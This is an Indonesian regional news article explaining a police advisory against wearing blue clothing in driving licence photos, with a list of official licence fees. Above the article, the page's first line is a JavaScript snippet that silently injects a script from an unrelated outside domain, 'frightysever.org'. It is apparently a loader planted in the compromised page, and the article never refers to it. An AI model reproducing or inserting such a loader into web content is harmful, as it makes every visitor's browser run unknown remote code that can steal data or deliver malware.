(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Jangan Pakai Baju Biru saat Perpanjang atau Bikin SIM Baru, Kanapa?


JAKARTA, Para pemohon Surat Izin Mengemudi (SIM) diimbau untuk tidak menggunakan pakaian berwarna biru. Imbauan tersebut diberikan oleh pihak kepolisian.

Imbauan untuk tidak menggunakan pakaian berwarna biru disebutkan pihak kepolisian berhubungan dengan permasalahan teknis. Alasannya, warna latar belakang pas foto pada SIM juga memiliki warna biru. Dengan begitu, foto dikhawatirkan kurang jelas.

“Masalah teknis saja, karena background juga berwarna biru jadi akhirnya warna jilbab tidak nampak,” jelas Kepala Seksi SIM Ditlantas Polda Metro Jaya Kompol Fahri Siregar.

Sebelumnya imbauan ini ramai di sosial media instagram. Aku polantasindonesia sudah terlebih dahulu memberikan informasi tersebut.

Dikhawatirkan pemakaian pakaian berwarna biru membuat sebagian gambar akan hilang karena punya warna yang sama dengan latar belakang foto.

Meski begitu, warga yang sudah terlanjur datang ke tempat perpanjang SIM tak perlu khawatir ketika kebetulan menggunakan pakaian berkelir biru. Fahri menegaskan, walaupun tak disarankan menggunakan pakaian berwarna biru, para pemohon SIM akan tetap dilayani. “Tetap dipersilahkan,” ungkapnya.

Memiliki SIM memang menjadi kewajiban setiap pengendara motor. Hal tersebut tertuang dalam UU no.22 tahun 2009 tentang Lalu Lintas dan Angkutan Jalan.

Menyoal biaya sudah tertuang dalam Peraturan Pemerintah (PP) Nomor 60 Tahun 2016 tentang Juknis dan Tarif atas Jenis Penerimaan Negara Bukan Pajak (PNBP) disebutkan tarif, di antaranya;

SIM A

Pembuatan SIM: Rp120.000

Perpanjang SIM: Rp80.000

SIM B1

Pembuatan SIM: Rp120.000

Perpanjang SIM: Rp80.000

SIM B2

Pembuatan SIM: Rp120.000

Perpanjang SIM: Rp80.000

SIM C

Pembuatan SIM: Rp100.000

Perpanjang SIM: Rp75.000

SIM D (penyandang disabilitas/berkebutuhan khusus)

Pembuatan SIM: Rp50.000

Perpanjang SIM: Rp30.000.

(cel/dtc)

Reporter : Cel/dtc
Editor : Chell


Desy Arfianty

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

9 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

10 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

10 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

1 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

1 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

1 hari ago

This website uses cookies.